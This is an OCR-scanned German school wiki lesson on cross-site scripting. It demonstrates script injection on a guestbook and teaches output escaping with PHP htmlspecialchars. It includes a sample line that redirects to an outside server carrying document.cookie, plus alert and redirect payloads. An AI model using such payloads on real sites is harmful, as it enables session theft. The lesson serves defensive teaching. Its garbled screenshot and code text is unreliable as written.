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LU10a - Cross-Site Scripting

Internal reference: lu/10-1.md

Einleitung

Cross-Site Scripting (kurz XSS) ist eine Form der Cyberattacke, wo Script-Code von aulien in eine
Webseite injiziert wird. Ziel ist es eine aktive Session (Sitzung) zu stehlen.</small>

Bei XSS wird Script-Code von aufSen in die aktuelle Webseite injiziert. Damit wird eine
Autorisierungsbarriere Uberschritten, denn Sie konnen so einer Website vorgaukeln, der
eingeschleuste Code sei lhr eigener.

Beispiel

Ein kleines Beispiel soll dies untermauern. Stellen Sie sich eine simple Gastebuch-Anwendung vor, wie
Sie sie in diesem Buch o6fters finden. Hier zunachst eine Gastebuch-Datenbank (mit MySQL).

BZZ - Modulwiki - https://wiki.bzz.ch/



Last update: 2026/01/28

modul:m183:learningunits:lul0:lul0a https://wiki.bzz.ch/modul/m183/learningunits/lu10/lul0a?rev=1769614022

16:27

en e phpocalftmenjeichatusitgusst

iE Fahrplam -« Bmplgee  fyon-mail PDO  Bew  ascinems  DZZ-INTAA v Adcke-Dashboard  FRITING:  Doctgmatch  MTML Coces  biog 1 >
oD DD D o] Gashetuch Fach ICT - BEZ Gistemmh +

Eintrag einfligen Eintrag editieren DB aufsetzen

Gastebuch

Tragen Sie sich in unser Gastebuch gin

Mame und Yorname
E-Mail-Adresse:
Titel

Hammerntar

Eintragen

Try this

16 garsvaldi@grecch, J00F-12-19 17:39:30

Inficc Daten aus Tabelle eintrag abfragen.

Copreright 2015- 20060 by Magiamat ker Hoeg Mester, Bkiusgazentrem D0 richass, Fgrgss

Was passiert aber, wenn Sie HTML-Code eingeben? Dieser Code wird dann ungefiltert ausgegeben.
Sie kénnen das Layout des Gastebuches verschandeln, beispielsweise durch das Einbinden anstoRiger
Grafiken. Abb-02 und Abb-03 zeigt eine harmlosere Variante, namlich die Verwendung von <h1> und

<hr> als HTML-Tags im Gastebuch-Eintrag.
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Eintrag einfiigen Eintrag editieren DB aufsetzen

Gastebuch

Tragen Sie sich in unser Gistebuch ein
Mama und Vorname

Gerda Wist

E-Mail-Adresse:

gerdawuesti@bluewin.ch

Titel

Bad Eintrag

Kammentar

<hl=Hallo<h1=
<hirs
<hZ=Hallg2<h2=

Eintragen

Try this

danielgaravaldi@gmax.ch, 20017-12-1% 17,3930
Infa: Daten aws Tabelle eintrag abfragen.

Copyright 20157016 by Medismatier Hans Muster, Bildurgsrentrem Torchise, Hongen

Bad Eintrag

‘ Hallo

Hallo2

gerdawuest@bluewin.ch, 2017-12-19 21:07:55

Das allein ist ja schon schlimm genug, doch noch Ubler wird es, wenn statt HTML-Code JavaScript-
Code eingeschleust wird. Da gibt es verschiedene Stufen der Grausamkeiten

« Offnen von modalen Warnfenstern mit window.alert ()
¢ unendliches Neuladen der Seite mit window. reload()
e die Umleitung des Benutzers mit location.href =
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&quot;http://andererserver.xy&quot;

e das Auslesen aller Cookies, beispielsweise mit location.href =
&quot;http://andererserver.xy/cookieklau.php?c=&quot; +
escape(document.cookie)

Aus guten Grunden wird dies nicht weiter ausgefuhrt, aber Abbildung 04 und 05 zeigen die
Auswirkung der ersten Angriffsmethode. Ferner Uberlegen Sie, was alles in Cookies stehen konnte: die
aktuelle Session-ID beispielsweise. Damit ist es sehr einfach mdglich, die Session eines Opfers zu
Uubernehmen (das nennt man dann Session Hijacking)
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Eintrag einfiigen Eintrag editieran DB aufsetren

Gastebuch

Tragen Sle sich in unser Glstebuch ein
Mame und Yorname
Duamicl Garavaldi
E-Mail-fd rosse;
daniel garavaldi@gmu.ch
Tikwl
Try this

Hommentar

<Beript-aleryou got hacked!™) <iaipts

Eintragen

Irfa; Daten aus Tabelle einbray abfragen

Copyright 20152016 by Mediamatibonr Hare Muster, Bikiungsrentrum ZOrchsse, Mongen
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you got hacked!

SchlieBen

XSS-Auditor

Die Gefahr flr XSS ist primar bei alten Browser gegeben. Die neuen Browser (sicher bei Safari,
Chrome, Firefox) weist ein sog. XSS-Auditor unterbindet die Ausfuhrung von JavaScripts, wenn er
eine XSS-Attacke vermutet (s. Abb-06.)
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Eintrag einfiigen Eintrag editieren DB aufsetren

Gastebuch

Tragen Sle sich in unser Gistebuch ein
Marme und Viarname
Caniel Zahnao
E-Mail-Bdrasse;
D.ZahnoEksh ch
Tieel

Test

Kommentar

<hi=esichi=>
<sCript=alart™halla” ) <fscript=

Eintragen
Loreimpsum Lalugulum endlogamum L
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@ The %55 Auditor refused to execute a script in ‘hitpgipho jocalithemensicherheitiguesibookipagesiinsert. ohp' because its source code was: found within the insert.php:63

request, The suditor was snabled bacause the seroer did not send an N-N55-Pralsction’ hesde:
Salte reu grlacken um 1B:5396 Uhr

Ll

Gegenmassnahmen
Wirkungsvoll gegen XSS ist

e grundliche Input-Validierung

e Output-Escaping (in PHP mit der Funktion htmlspecialchars)
Output-Escaping

Ziel des Output-Escaping ist, dass im Webbrowser die Benutzereingaben niemals als Teil der Seite
(d.h. mit deren HTML-Code) ausgefuhrt werden. Stattdessen werden die Benutzereingaben sozusagen
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entscharft und wie gewdhnliche Texte als ungefahrlicher statischer Inhalt angezeigt. In PHP wird h

Beispiel

Im folgenden Beispiel wird die eigene Funktion leseFeld mit der PHP-Funktion htmlspecialchars
angepasst, damit samtliche Ausgaben auf dem Browser *entscharft * (also ausfuhrbaren HTML resp.
JavaScript-Code durch den Browser nicht ausgefuhrt) werden.

Code-01: ohne Escaping - unsicherer PHP-Code

/x*
* Liest ein einfaches Textfeld aus dem Formular aus
* @param $feld - Datenfeld, welches ausgelesen wird
* @return string - ausgelesenes Datenfeld als String

*/
function leseFeld($feld)
{
if (lisset($ POST[$feld])) {
return LEER STRING;
}
if ('is string($ POST[$feld])) {
return LEER STRING;
}
return $ POST[$feld];
}

Code-02: mit Escaping - sicherer PHP-Code

JXx*
* Liest ein einfaches Textfeld aus dem Formular aus
* @param $feld - Datenfeld, welches ausgelesen wird
* @return string - ausgelesenes Datenfeld als String

*/
function leseFeld($feld)
{
if (!isset($ POST[$feld])) {
return LEER STRING;
}
if ('is string($ POST[$feld])) {
return LEER STRING;
}
return htmlspecialchars($ POST[$feld]);
}
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[x] Daniel Garavaldi
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